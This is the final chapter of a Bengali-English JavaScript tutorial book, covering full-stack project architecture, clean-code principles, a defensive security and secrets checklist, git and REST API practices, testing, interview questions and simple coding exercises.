Real-World Projects & Interview Prep — রিয়েল-ওয়ার্ল্ড প্রজেক্ট ও ইন্টারভিউ প্রস্তুতি
Total Modules
63 Modules + 5 Coding Labs + 15 Q&As
Curriculum Part
Part 34 — Grand Finale & Career Mastery
Core Disciplines
Clean Architecture, Production Git & APIs
Target Profile
Full Stack JavaScript Production Engineer
Real-World Projects, Best Practices & Interview Preparation — গ্র্যান্ড ফিনালে

৪০টি অধ্যায়ের এই সুদীর্ঘ ও সমৃদ্ধ যাত্রায় আমরা জাভাস্ক্রিপ্ট ফান্ডামেন্টালস থেকে শুরু করে রিয়্যাক্ট ফ্রন্টএন্ড এবং নোড ব্যাকএন্ডের গভীরতম আর্কিটেকচার আয়ত্ত করেছি। এই চূড়ান্ত অধ্যায়ে আমরা পুরো জ্ঞানের বাস্তব সমন্বয় ঘটিয়ে রিয়েল-ওয়ার্ল্ড প্রজেক্ট আর্কিটেকচার, ক্লিন কোড (DRY/KISS/YAGNI), সিকিউরিটি চেকলিস্ট, গিট ওয়ার্কফ্লো, এপিআই ডিজাইন, প্রোডাকশন চেকলিস্ট, ১৫টি প্রধান ইন্টারভিউ প্রশ্নোত্তর এবং লাইভ কোডিং অ্যালগরিদম সমাধান করব।

📌 1. Real-World Arch
📌 2. Clean Code & SOLID
📌 3. Security & Secrets
📌 4. Professional Git
📌 5. REST API Design
📌 6. Testing & Debugging
📌 7. Production Checklist
📌 8. 15 Interview Q&As
📌 9. 5 Coding Labs
📌 10. 40-Chapter Roadmap
Part 01 — Real-World Engineering, Architecture & Scalable Folder Structures (40.1 – 40.6)
40.1 Real-World JavaScript Development কী?

Tutorial project:

✨ SYSTEM ARCHITECTURE & ROADMAP
একটা button বানাও
button click করলে text change হবে

Real-world project:

✨ REAL-WORLD APPLICATION DATA LIFECYCLE
User
 
Frontend
 
API
 
Authentication
 
Business Logic
 
Database
 
Response
 
UI

এখানে শুধু code লিখলেই হবে না। তোমাকে ভাবতে হবে:

  • Security
  • Performance
  • Scalability
  • Maintainability
  • Error handling
  • Testing
  • Deployment
  • User experience
40.2 Project শুরু করার আগে

Code লেখা শুরু করার আগে প্রথমে বুঝতে হবে:

🔹 1. Problem

কী সমস্যা solve করছি?

🔹 2. Users

কারা ব্যবহার করবে?

🔹 3. Features

কী কী functionality লাগবে?

🔹 4. Data

কোন data লাগবে?

🔹 5. Technology

কোন stack ব্যবহার করব?

🔹 6. Security

কী protect করতে হবে?

40.3 Example — Online Course Platform

Problem:

💡 Students যেন online course দেখতে পারে।

Features:

✨ SYSTEM ARCHITECTURE & ROADMAP
User Registration
Login
Course Browse
Course Details
Enrollment
Video Watching
Progress Tracking
Review
Admin Dashboard

Architecture:

✨ SYSTEM ARCHITECTURE & ROADMAP
React
 
Node.js + Express
 
PostgreSQL
40.4 Requirement Analysis

ধরো feature:

💡 User course-এ enroll করতে পারবে।

Requirement:

✨ SYSTEM ARCHITECTURE & ROADMAP
User must be logged in
        
Course must exist
        
Already enrolled?
        
No  Create enrollment
        
Return success

এভাবে requirement আগে বুঝলে পরে code অনেক clean হয়।

40.5 Project Architecture

একটি Full Stack application:

✨ TIERED CLEAN ENTERPRISE DATA FLOW
Client
                  
                  
               React
                  
               API Call
                  
                  
             Node/Express
                  
        ──────────────────
                          
      Route   Middleware Controller
                           
                           
                        Service
                           
                           
                       Repository
                           
                           
                        Database
40.6 Folder Structure

একটি professional backend:

✨ SYSTEM ARCHITECTURE & ROADMAP
backend/

── src/
   ── config/
   ── controllers/
   ── middleware/
   ── models/
   ── routes/
   ── services/
   ── repositories/
   ── utils/
   ── validators/
   ── app.js
   ── server.js

── tests/
── .env
── .env.example
── .gitignore
── package.json
── package-lock.json

Frontend:

✨ SYSTEM ARCHITECTURE & ROADMAP
frontend/

── src/
   ── components/
   ── pages/
   ── layouts/
   ── hooks/
   ── services/
   ── utils/
   ── context/
   ── assets/
   ── App.jsx
   ── main.jsx

── public/
── package.json
── vite.config.js
Part 02 — Clean Code, SOLID Principles & Multi-Tier Validation (40.7 – 40.17)
40.7 Clean Code

Clean Code মানে:

💡 এমন code যা অন্য developer সহজে বুঝতে, maintain করতে এবং modify করতে পারে।

❌ Bad:

JAVASCRIPT SourceJAVASCRIPT
function x(a, b) {
  return a * b;
}

Better:

JAVASCRIPT SourceJAVASCRIPT
function calculateTotalPrice(
  price,
  quantity
) {
  return price * quantity;
}
40.8 Meaningful Naming

❌:

JAVASCRIPT SourceJAVASCRIPT
const x = 500;
const y = 2;

Better:

JAVASCRIPT SourceJAVASCRIPT
const price = 500;
const quantity = 2;

Function: ❌:

JAVASCRIPT SourceJAVASCRIPT
function doIt() {}

Better:

JAVASCRIPT SourceJAVASCRIPT
function calculateOrderTotal() {}
40.9 DRY

DRY = Don't Repeat Yourself ধরো:

JAVASCRIPT SourceJAVASCRIPT
console.log("User logged in");
console.log("User logged in");
console.log("User logged in");

এভাবে repeated logic থাকলে function:

JAVASCRIPT SourceJAVASCRIPT
function logLogin() {
  console.log("User logged in");
}

তারপর:

JAVASCRIPT SourceJAVASCRIPT
logLogin();
logLogin();
logLogin();
🔹 তবে একটা গুরুত্বপূর্ণ বিষয়

DRY মানে সব duplicate-looking code জোর করে abstraction করা নয়। অতিরিক্ত abstraction code আরও complex করতে পারে।

40.10 KISS

KISS = Keep It Simple যদি simple solution যথেষ্ট হয়: ❌ unnecessary architecture তৈরি করবে না। Example:

JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

এর জন্য 10টি class তৈরি করার দরকার নেই।

40.11 YAGNI

YAGNI = You Aren't Gonna Need It যে feature এখন প্রয়োজন নেই, শুধু ভবিষ্যতে লাগতে পারে ভেবে এখনই complex implementation করার দরকার নেই। Example:

💡 এখন শুধু email login দরকার।

তাই শুধু login-এর জন্য:

✨ SYSTEM ARCHITECTURE & ROADMAP
Google
Facebook
GitHub
Apple
Microsoft

সব OAuth একসাথে বানানোর প্রয়োজন নেই যদি requirement না থাকে।

40.12 Separation of Concerns

একটি function যেন সবকিছু না করে। ❌:

JAVASCRIPT SourceJAVASCRIPT
function registerUser() {
  // validate
  // database
  // password hash
  // send email
  // generate token
  // response
}

Better:

✨ TIERED CLEAN ENTERPRISE DATA FLOW
Controller
   
Validation
   
Service
   
Repository
   
Database

প্রতিটি layer-এর আলাদা responsibility।

40.13 Controller

Controller সাধারণত request/response handle করে।

JAVASCRIPT SourceJAVASCRIPT
async function register(req, res) {
  const user = await userService.register(
    req.body
  );

  res.status(201).json(user);
}
40.14 Service

Business logic:

JAVASCRIPT SourceJAVASCRIPT
async function register(data) {
  const existingUser =
    await userRepository.findByEmail(
      data.email
    );

  if (existingUser) {
    throw new Error(
      "User already exists"
    );
  }

  // create user
}
40.15 Repository

Database access:

JAVASCRIPT SourceJAVASCRIPT
async function findByEmail(email) {
  return User.findOne({ email });
}

তাহলে:

✨ TIERED CLEAN ENTERPRISE DATA FLOW
Controller
   
Service
   
Repository
   
Database

এটি clean architecture-এর একটি practical pattern।

40.16 Input Validation

Client থেকে:

JSON PAYLOADJSON
{
  "email": "hello",
  "age": -50
}

আসতে পারে। Server blindly trust করবে না। Validation:

✨ SYSTEM ARCHITECTURE & ROADMAP
Email valid?
Age valid?
Required fields?
Data type?
Length?
Allowed values?
40.17 Validation Example
JAVASCRIPT SourceJAVASCRIPT
function validateAge(age) {
  if (
    typeof age !== "number" ||
    age < 0
  ) {
    throw new Error("Invalid age");
  }
}

Real project-এ validation libraries ব্যবহার করা যায়, কিন্তু validation concept নিজে বুঝতে হবে।

Part 03 — Error Handling Strategy, Security Checklist & Professional Git Workflow (40.18 – 40.25)
40.18 Error Handling Strategy

Production application-এ error তিনভাবে ভাবো:

✨ SYSTEM ARCHITECTURE & ROADMAP
Expected Error
Unexpected Error
Operational Error

Example:

✨ SYSTEM ARCHITECTURE & ROADMAP
404  User not found
401  Authentication required
403  Permission denied
500  Unexpected server error

User-কে unnecessary internal details দেখাবে না। ❌:

JSON PAYLOADJSON
{
  "error": "Database connection failed at /var/app/src/db/index.js line 52..."
}

Better:

JSON PAYLOADJSON
{
  "message": "Internal server error"
}

Server log-এ বিস্তারিত থাকবে।

40.19 Frontend Error Handling

API:

JAVASCRIPT SourceJAVASCRIPT
try {
  const response = await fetch("/api/users");

  if (!response.ok) {
    throw new Error("Request failed");
  }

  const data = await response.json();

  setUsers(data);
} catch (error) {
  setError(error.message);
}

UI:

✨ SYSTEM ARCHITECTURE & ROADMAP
{loading && <Loading />}
{error && <ErrorMessage />}
{users && <UserList users={users} />}
40.20 Loading → Success → Error

API state সাধারণত:

✨ SYSTEM ARCHITECTURE & ROADMAP
Request
                
        ──────────────
                       
     Success           Error
                       
      Data            Message

Frontend-এ:

✨ SYSTEM ARCHITECTURE & ROADMAP
idle
loading
success
error

এই state model খুব useful।

40.21 Security Checklist

Production JavaScript application-এ:

✨ SYSTEM ARCHITECTURE & ROADMAP
 HTTPS
 Input validation
 Authentication
 Authorization
 Password hashing
 Secure cookies where appropriate
 CSRF protection where relevant
 XSS prevention
 CORS configuration
 Rate limiting
 Security headers
 Dependency updates
 Secrets outside source code
40.22 Secret Management

❌ GitHub-এ:

✨ SYSTEM ARCHITECTURE & ROADMAP
DATABASE_PASSWORD=myRealPassword
JWT_SECRET=mySecret

commit করা যাবে না। .gitignore:

✨ SYSTEM ARCHITECTURE & ROADMAP
.env
node_modules/
dist/

এবং:

✨ SYSTEM ARCHITECTURE & ROADMAP
.env.example

রাখতে পারো:

✨ SYSTEM ARCHITECTURE & ROADMAP
PORT=
DATABASE_URL=
JWT_SECRET=
40.23 Git Workflow

একটি সাধারণ workflow:

✨ SYSTEM ARCHITECTURE & ROADMAP
Create Branch
     
Write Code
     
Test
     
git add
     
git commit
     
git push
     
Pull Request
     
Code Review
     
Merge
40.24 Good Commit Message

❌:

✨ SYSTEM ARCHITECTURE & ROADMAP
update

❌:

✨ SYSTEM ARCHITECTURE & ROADMAP
final final new

Better:

✨ SYSTEM ARCHITECTURE & ROADMAP
feat: add user authentication
fix: handle invalid login credentials
refactor: simplify order service
docs: update API documentation
test: add user service tests
40.25 Branching

Example:

✨ SYSTEM ARCHITECTURE & ROADMAP
main
 
 ── feature/auth
 ── feature/payment
 ── feature/dashboard
 ── fix/login-error

Feature শেষ হলে merge করা যায়।

Part 04 — REST API Design, Testing Strategy, Debugging & Production Deployment (40.26 – 40.38)
40.26 API Design

Good REST API:

✨ SYSTEM ARCHITECTURE & ROADMAP
GET    /api/users
GET    /api/users/:id
POST   /api/users
PATCH  /api/users/:id
DELETE /api/users/:id

Resource-oriented design রাখা ভালো।

40.27 Pagination

ধরো database-এ:

✨ SYSTEM ARCHITECTURE & ROADMAP
1,000,000 users

সব একবারে frontend-এ পাঠানো উচিত নয়। Instead:

✨ SYSTEM ARCHITECTURE & ROADMAP
GET /api/users?page=1&limit=20

Response:

JSON PAYLOADJSON
{
  "data": [],
  "page": 1,
  "limit": 20,
  "total": 1000000
}
40.28 Search
✨ SYSTEM ARCHITECTURE & ROADMAP
GET /api/products?search=laptop

Backend:

✨ SYSTEM ARCHITECTURE & ROADMAP
Request
 
Validate search
 
Database query
 
Pagination
 
Response
40.29 API Response Structure

একটি consistent response format helpful হতে পারে: Success:

JSON PAYLOADJSON
{
  "success": true,
  "data": {}
}

Error:

JSON PAYLOADJSON
{
  "success": false,
  "message": "User not found"
}

Project অনুযায়ী response design পরিবর্তিত হতে পারে।

40.30 Testing Strategy

Real-world project-এ:

✨ SYSTEM ARCHITECTURE & ROADMAP
Unit Tests
    
Integration Tests
    
E2E Tests

সব logic শুধু manual test করলে production bug-এর risk বাড়ে।

40.31 Unit Test Example
JAVASCRIPT SourceJAVASCRIPT
function add(a, b) {
  return a + b;
}

Test:

JAVASCRIPT SourceJAVASCRIPT
test("adds two numbers", () => {
  expect(add(2, 3)).toBe(5);
});
40.32 Edge Cases

শুধু normal case test করবে না। Function:

JAVASCRIPT SourceJAVASCRIPT
function divide(a, b) {
  return a / b;
}

Test:

✨ SYSTEM ARCHITECTURE & ROADMAP
10 / 2
0 / 2
10 / 0
-10 / 2
decimal values

Edge cases bug ধরতে সাহায্য করে।

40.33 Debugging Strategy

Bug হলে random code edit করবে না। এই process follow করো:

✨ SYSTEM ARCHITECTURE & ROADMAP
1. Reproduce
       
2. Read Error
       
3. Identify Location
       
4. Inspect Variables
       
5. Find Root Cause
       
6. Fix
       
7. Test
       
8. Prevent Regression
40.34 console.log() Smartly Use

❌:

JAVASCRIPT SourceJAVASCRIPT
console.log("here");
console.log("here2");
console.log("here3");

Better:

JAVASCRIPT SourceJAVASCRIPT
console.log({
  userId,
  requestId,
  status
});

এতে debugging সহজ হয়।

40.35 Documentation

Professional project-এ README গুরুত্বপূর্ণ। একটি ভালো README:

✨ SYSTEM ARCHITECTURE & ROADMAP
Project Name
Description
Features
Tech Stack
Installation
Environment Variables
Usage
API Documentation
Screenshots
Deployment
Contributing
License
40.36 Environment Setup

README:

TERMINAL COMMANDBASH
git clone <repository>
cd project
npm install

তারপর:

TERMINAL COMMANDBASH
npm run dev

Environment:

✨ SYSTEM ARCHITECTURE & ROADMAP
PORT=5000
DATABASE_URL=
JWT_SECRET=
40.37 Deployment

Typical full-stack deployment:

✨ SYSTEM ARCHITECTURE & ROADMAP
GitHub
   
   ──────────────
                 
Frontend        Backend
                 
Vercel         Server Platform
                  
               Database

Deployment platform project অনুযায়ী পরিবর্তিত হতে পারে।

40.38 Production Checklist

Deploy করার আগে:

✨ SYSTEM ARCHITECTURE & ROADMAP
 Environment variables configured
 Secrets protected
 Production build tested
 API URLs correct
 CORS configured
 Database connected
 Error handling
 Logging
 Authentication tested
 Authorization tested
 Input validation
 Rate limiting where needed
 HTTPS
 Tests passing
 README updated
⚡ 🛠️ Real-World Project 1 — Todo Application

এটি beginner → intermediate project।

🔹 Features
✨ SYSTEM ARCHITECTURE & ROADMAP
Create Todo
Read Todo
Update Todo
Delete Todo
Mark Complete
Filter
Search
🔹 Stack
✨ SYSTEM ARCHITECTURE & ROADMAP
React
Node.js
Express
MongoDB/PostgreSQL

Architecture:

✨ SYSTEM ARCHITECTURE & ROADMAP
React
 
REST API
 
Express
 
Todo Service
 
Database
⚡ 🛠️ Real-World Project 2 — Authentication System
🔹 Features
✨ SYSTEM ARCHITECTURE & ROADMAP
Register
Login
Logout
Password Hashing
Session/JWT
Protected Routes
Role-based Access
Password Reset

Architecture:

✨ SYSTEM ARCHITECTURE & ROADMAP
React
 
Login API
 
Validation
 
Auth Service
 
Database
⚡ 🛠️ Real-World Project 3 — Blog Platform
🔹 Features
✨ SYSTEM ARCHITECTURE & ROADMAP
Register/Login
Create Post
Edit Post
Delete Post
Comment
Like
Search
Pagination
Admin

Database entities:

✨ SYSTEM ARCHITECTURE & ROADMAP
User
Post
Comment
Like
⚡ 🛠️ Real-World Project 4 — E-Commerce

এটি portfolio-এর জন্য অত্যন্ত useful project category।

🔹 Features
✨ SYSTEM ARCHITECTURE & ROADMAP
Authentication
Products
Categories
Search
Filter
Cart
Wishlist
Checkout
Orders
Payment
Admin Dashboard

Architecture:

✨ SYSTEM ARCHITECTURE & ROADMAP
React
                      
                      
                   API
                      
               Node + Express
                      
          ──────────────────────
                                
       Product      Order       User
       Service      Service      Service
                                
          ──────────────────────
                      
                   Database
⚡ 🛠️ Real-World Project 5 — Full Stack Dashboard

তোমার portfolio-তে এই ধরনের project খুব useful হতে পারে।

🔹 Features
✨ SYSTEM ARCHITECTURE & ROADMAP
Authentication
Dashboard
Charts
Users
Analytics
Search
Filter
Pagination
CRUD
Role-based Access
API Integration

Frontend:

✨ SYSTEM ARCHITECTURE & ROADMAP
React

Backend:

✨ SYSTEM ARCHITECTURE & ROADMAP
Node
Express

Database:

✨ SYSTEM ARCHITECTURE & ROADMAP
PostgreSQL / MongoDB
Part 05 — Comprehensive JavaScript Technical Interview Mastery (15 Core Questions) (40.39 – 40.53)
40.39 JavaScript Interview — Basic Questions
✨ Q1. var, let, const পার্থক্য কী?

সংক্ষেপে:

✨ SYSTEM ARCHITECTURE & ROADMAP
var    function scoped
let    block scoped
const  block scoped + reassignment করা যায় না
✨ Q2. == বনাম ===
JAVASCRIPT SourceJAVASCRIPT
5 == "5"   // true
5 === "5"  // false

Modern code-এ সাধারণত === preferred।

✨ Q3. null বনাম undefined
✨ SYSTEM ARCHITECTURE & ROADMAP
undefined  value assign হয়নি / absent
null       intentionally empty
✨ Q4. Closure কী?
💡 একটি inner function তার outer lexical scope-এর variables access করতে পারে—even outer function execution শেষ হওয়ার পরও।
✨ Q5. Promise কী?
💡 Future asynchronous result represent করার একটি JavaScript object।

States:

✨ SYSTEM ARCHITECTURE & ROADMAP
pending
fulfilled
rejected
40.40 Interview — Event Loop

Question:

JAVASCRIPT SourceJAVASCRIPT
console.log("A");

setTimeout(() => {
  console.log("B");
}, 0);

Promise.resolve().then(() => {
  console.log("C");
});

console.log("D");

Output:

✨ SYSTEM ARCHITECTURE & ROADMAP
A
D
C
B

কারণ:

✨ RUNTIME ASYNC EXECUTION ARCHITECTURE
Synchronous
   
Microtask
   
Task
40.41 Interview — map() বনাম forEach()
🔹 map()

নতুন array return করে।

JAVASCRIPT SourceJAVASCRIPT
const result = numbers.map(
  n => n * 2
);
🔹 forEach()

মূলত side effect-এর জন্য iteration করে এবং meaningful array return করে না।

40.42 Interview — filter() বনাম find()
✨ SYSTEM ARCHITECTURE & ROADMAP
filter  সব matching elements
find    প্রথম matching element
40.43 Interview — map() বনাম reduce()
✨ SYSTEM ARCHITECTURE & ROADMAP
map

প্রতিটি element transform

নতুন array
✨ SYSTEM ARCHITECTURE & ROADMAP
reduce

অনেক value process

একটি accumulated result
40.44 Interview — Shallow vs Deep Copy

Shallow:

JAVASCRIPT SourceJAVASCRIPT
const copy = {
  ...user
};

Nested reference share করতে পারে। Deep:

JAVASCRIPT SourceJAVASCRIPT
const copy =
  structuredClone(user);

Nested structures-এর independent copy তৈরি করতে পারে, supported data types-এর সীমার মধ্যে।

40.45 Interview — this

this-এর value context-এর উপর নির্ভর করে। Object method:

JAVASCRIPT SourceJAVASCRIPT
const user = {
  name: "Ripon",

  greet() {
    console.log(this.name);
  }
};

Arrow function-এর নিজস্ব this binding নেই; এটি surrounding lexical this ব্যবহার করে। 🔥 Interview-এ এটি খুব common।

40.46 Interview — Debounce বনাম Throttle
✨ SYSTEM ARCHITECTURE & ROADMAP
Debounce

বারবার event

শেষ event-এর পর execute

Search box-এর জন্য useful।

✨ SYSTEM ARCHITECTURE & ROADMAP
Throttle

বারবার event

নির্দিষ্ট interval-এ execute

Scroll/resize-এর জন্য useful।

40.47 Interview — Event Bubbling

Event child থেকে parent-এর দিকে propagate করতে পারে।

✨ SYSTEM ARCHITECTURE & ROADMAP
button
 
div
 
body
 
document
40.48 Interview — Event Delegation

Parent-এর একটি event listener দিয়ে multiple child-এর event handle করা। Benefits:

  • কম listener
  • dynamic elements handle করা সহজ
  • memory/management সুবিধা
40.49 Interview — Promise.all()
JAVASCRIPT SourceJAVASCRIPT
await Promise.all([
  task1(),
  task2(),
  task3()
]);

সব promise fulfill হলে result পাওয়া যায়। একটি reject করলে Promise.all() reject হয়। যদি প্রত্যেকটার result আলাদাভাবে চাই—even failure সহ:

JAVASCRIPT SourceJAVASCRIPT
Promise.allSettled()
40.50 Interview — async/await

async function একটি Promise return করে।

JAVASCRIPT SourceJAVASCRIPT
async function test() {
  return 10;
}

Conceptually:

JAVASCRIPT SourceJAVASCRIPT
test().then(value => {
  console.log(value);
});
40.51 Interview — Node.js কেন জনপ্রিয়?

মূল কারণগুলোর মধ্যে:

✨ SYSTEM ARCHITECTURE & ROADMAP
JavaScript everywhere
Non-blocking I/O
Large npm ecosystem
Good for API/backend
Real-time applications
Fast development

তবে সব ধরনের workload-এর জন্য Node.js automatically best নয়।

40.52 Interview — Node.js Single-threaded?

সঠিকভাবে বলবে:

💡 Node.js-এর JavaScript execution সাধারণত একটি main thread-এ চলে, কিন্তু Node.js runtime asynchronous I/O এবং অন্যান্য system facilities ব্যবহার করে concurrency handle করতে পারে; প্রয়োজনে Worker Threads/child processes ব্যবহার করা যায়।

শুধু:

💡 “Node.js single-threaded”

বললে incomplete answer।

40.53 Interview — Node.js vs Browser

Browser:

✨ SYSTEM ARCHITECTURE & ROADMAP
DOM
window
document
Web APIs

Node:

✨ SYSTEM ARCHITECTURE & ROADMAP
process
fs
http
path
events
streams
Part 06 — Live Coding Interview Algorithms & Data Structure Challenges (40.54 – 40.58)
40.54 Coding Interview Problem 1
🔹 Reverse String
JAVASCRIPT SourceJAVASCRIPT
function reverseString(str) {
  return str
    .split("")
    .reverse()
    .join("");
}

console.log(
  reverseString("Ripon")
);

Output:

✨ SYSTEM ARCHITECTURE & ROADMAP
nopiR
40.55 Coding Interview Problem 2 — Palindrome
JAVASCRIPT SourceJAVASCRIPT
function isPalindrome(str) {
  const reversed = str
    .split("")
    .reverse()
    .join("");

  return str === reversed;
}

console.log(
  isPalindrome("madam")
);

Output:

✨ SYSTEM ARCHITECTURE & ROADMAP
true
40.56 Coding Interview Problem 3 — Maximum
JAVASCRIPT SourceJAVASCRIPT
function findMax(numbers) {
  return Math.max(...numbers);
}

console.log(
  findMax([10, 50, 20])
);

Output:

✨ SYSTEM ARCHITECTURE & ROADMAP
50
40.57 Coding Interview Problem 4 — Remove Duplicates
JAVASCRIPT SourceJAVASCRIPT
function removeDuplicates(array) {
  return [...new Set(array)];
}

console.log(
  removeDuplicates([
    1, 2, 2, 3, 3
  ])
);

Output:

✨ SYSTEM ARCHITECTURE & ROADMAP
[1, 2, 3]
40.58 Coding Interview Problem 5 — Frequency Counter
JAVASCRIPT SourceJAVASCRIPT
function countFrequency(items) {
  const result = {};

  for (const item of items) {
    result[item] =
      (result[item] || 0) + 1;
  }

  return result;
}

console.log(
  countFrequency([
    "a",
    "b",
    "a",
    "c",
    "a"
  ])
);

Output:

✨ SYSTEM ARCHITECTURE & ROADMAP
{
  a: 3,
  b: 1,
  c: 1
}
Part 07 — Common Pitfalls, Senior Developer Mindset & Complete 40-Chapter Checklist (40.59 – 40.61)
40.59 Common Developer Mistakes
🔹 ❌ Everything in one file
✨ SYSTEM ARCHITECTURE & ROADMAP
app.js

হাজার হাজার line। Better modular architecture।

🔹 ❌ No validation

Client data blindly trust করা।

🔹 ❌ Secrets in GitHub

.env commit করা।

🔹 ❌ No error handling

সব জায়গায়:

JAVASCRIPT SourceJAVASCRIPT
await something();

কিন্তু failure handling নেই।

🔹 ❌ Huge components

React component-এ:

✨ SYSTEM ARCHITECTURE & ROADMAP
1000+ lines

সব logic এক জায়গায়।

🔹 ❌ Unnecessary re-render

React state/props structure না বুঝে update করা।

🔹 ❌ No tests

সবকিছু manual testing-এর উপর নির্ভর করা।

🔹 ❌ Overengineering

Simple problem-এর জন্য unnecessarily complex architecture।

🔹 ❌ Copy-paste programming

Code বুঝে না লিখে শুধু tutorial থেকে copy করা।

40.60 Professional Developer Mindset

একজন developer শুধু:

💡 “Code কীভাবে লিখব?”

এটা ভাববে না। বরং:

✨ SYSTEM ARCHITECTURE & ROADMAP
Problem কী?

Best simple solution কী?

Data কীভাবে flow করবে?

Security কী?

Performance কেমন?

Maintain করা সহজ?

Test করা যাবে?

Deploy করা যাবে?
40.61 JavaScript Mastery Checklist

এখন নিজের knowledge check করো।

🔹 Fundamentals
✨ SYSTEM ARCHITECTURE & ROADMAP
 Variables
 Data Types
 Operators
 Conditions
 Loops
 Functions
🔹 Data
✨ SYSTEM ARCHITECTURE & ROADMAP
 Strings
 Arrays
 Objects
 Map
 Set
 WeakMap
 WeakSet
🔹 Advanced Language
✨ SYSTEM ARCHITECTURE & ROADMAP
 Prototype
 Classes
 OOP
 Closures
 IIFE
 Iterators
 Generators
 Symbols
 Proxy
 Reflect
🔹 Async
✨ RUNTIME ASYNC EXECUTION ARCHITECTURE
 Callback
 Promise
 Async/Await
 Event Loop
 Microtask
 Task
🔹 Browser
✨ SYSTEM ARCHITECTURE & ROADMAP
 DOM
 Events
 Forms
 Storage
 Fetch
 Browser APIs
🔹 Modern JS
✨ SYSTEM ARCHITECTURE & ROADMAP
 Destructuring
 Spread
 Rest
 Optional Chaining
 Nullish Coalescing
 Modern Array Methods
🔹 Professional
✨ SYSTEM ARCHITECTURE & ROADMAP
 NPM
 Testing
 Performance
 Security
 Design Patterns
 Git
 API Design
🔹 React
✨ SYSTEM ARCHITECTURE & ROADMAP
 Component
 Props
 State
 Hooks
 Rendering
 API integration
🔹 Node
✨ RUNTIME ASYNC EXECUTION ARCHITECTURE
 Runtime
 Event Loop
 fs
 path
 events
 streams
 HTTP
 process
 Environment variables
Part 08 — Skill Progression Tiers, Grand 40-Chapter Final Mental Map & The Journey Forward (40.62 – 40.63)
40.62 JavaScript Skill Levels

নিজেকে এভাবে evaluate করতে পারো:

🔹 🟢 Beginner
✨ SYSTEM ARCHITECTURE & ROADMAP
Variables
Functions
Conditions
Loops
Arrays
Objects
🔹 🟡 Intermediate
✨ SYSTEM ARCHITECTURE & ROADMAP
DOM
Events
Async
Promises
Fetch
Modules
OOP
Array methods
🔹 🟠 Advanced
✨ RUNTIME ASYNC EXECUTION ARCHITECTURE
Closures
Prototype
Event Loop
Memory
Performance
Security
Design Patterns
Testing
🔹 🔴 Professional
✨ SYSTEM ARCHITECTURE & ROADMAP
Architecture
Scalability
Production debugging
Security
Testing strategy
Performance optimization
API design
System design
Code review
Deployment
40.63 পুরো JavaScript Roadmap — Final Map
✨ FULL-STACK JAVASCRIPT SYSTEM BLUEPRINT
JAVASCRIPT
                              
          ──────────────────────────────────────
                                                
     Fundamentals          Advanced             Browser
                                                
 Variables / Types       Prototype             DOM
 Functions              Closures              Events
 Loops                  OOP                   Forms
 Arrays                 Async                 Storage
 Objects                Event Loop            Fetch
                                                
          ──────────────────────────────────────
                              
                     Modern JavaScript
                              
          ──────────────────────────────────────
                                                
       Modules             NPM                 Testing
                                                
                                                
       React               Node.js           Performance
                                                
          ──────────────────────────────────────
                              
                       Full Stack JS
                              
                    ──────────────────
                                       
                 Frontend            Backend
                                       
                  React              Node
                                     Express
                                       
                    ──────────────────
                              
                           Database
                              
                              
                        Real Projects
                              
                              
                       Production Apps
                              
                              
                     Professional Developer
⚡ 🎯 JavaScript Complete Book — Final Summary

আমরা Chapter 1 থেকে Chapter 40 পর্যন্ত মোটামুটি এই journey সম্পন্ন করেছি:

✨ RUNTIME ASYNC EXECUTION ARCHITECTURE
01  Introduction
02  Variables & Data Types
03  Operators
04  Control Flow
05  Loops
06  Functions
07  Strings
08  Numbers
09  Arrays
10  Objects
11  Prototypes
12  Map / Set
13  Built-in Objects
14  Errors & Debugging
15  DOM
16  Events
17  Forms
18  Storage & Cookies
19  JSON
20  Modules
21  Async JavaScript
22  HTTP / API / Fetch
23  Regular Expressions
24  OOP / Classes
25  Functional JavaScript
26  Closures / IIFE
27  Iterators / Generators
28  Symbols / Proxy / Reflect
29  Execution Model / Event Loop
30  Memory Management
31  Security
32  Browser APIs
33  Performance
34  NPM / Tooling
35  Testing
36  Modern ECMAScript
37  Design Patterns
38  Advanced JS for React
39  Advanced JS for Node.js
40  Real-World Projects & Interview
✨ 🔥 এখন তোমার JavaScript শেখার আসল next step

এই 40টি Chapter শুধু পড়ে শেষ করলেই JavaScript mastery হবে না। এখন সবচেয়ে গুরুত্বপূর্ণ হলো:

✨ SYSTEM ARCHITECTURE & ROADMAP
Learn
 
Code
 
Build
 
Break
 
Debug
 
Test
 
Refactor
 
Deploy
 
Repeat
🔹 এবং তোমার Full Stack লক্ষ্য অনুযায়ী:
✨ SYSTEM ARCHITECTURE & ROADMAP
JavaScript
    
React
    
Node.js
    
Express.js
    
MongoDB / PostgreSQL
    
REST API
    
Authentication
    
Testing
    
Docker
    
Deployment
    
Real Full Stack Projects
⚡ ⭐ Final Rule

একজন ভালো JavaScript Developer শুধু syntax জানে না। সে বুঝতে পারে:

💡 কেন এই code লিখছি → কীভাবে data flow করছে → কীভাবে error handle হবে → কীভাবে secure রাখব → কীভাবে fast রাখব → কীভাবে test করব → এবং অন্য developer যেন code maintain করতে পারে।

এই জায়গাটাই tutorial learner আর professional developer-এর মধ্যে বড় পার্থক্য।

40.64 🏆 40-Chapter JavaScript Master Book — Grand Finale & Completion Honor

🎉 অভিনন্দন! আপনি সফলভাবে JavaScript Master Study Documentation-এর ১ থেকে ৪০টি পূর্ণাঙ্গ চ্যাপ্টার সম্পন্ন করেছেন। এটি শুধুমাত্র একটি টিউটোরিয়াল নোট নয়—এটি প্রফেশনাল সফটওয়্যার ইঞ্জিনিয়ারিং, ক্লিন আর্কিটেকচার, রিয়্যাক্ট ফ্রন্টএন্ড এবং নোড.জেএস ব্যাকএন্ডের একটি পরিপূর্ণ ও ত্রুটিমুক্ত এনসাইক্লোপিডিয়া।

🌟 The Senior Engineer's Creed: ভালো কোডার সিনট্যাক্স মুখস্থ করে না; সে সিস্টেমের ডেটা-ফ্লো, এরর বাউন্ডারি, মেমোরি লাইফসাইকেল, টেস্টাবিলিটি এবং সিকিউরিটি আর্কিটেকচারকে গুরুত্ব দেয়।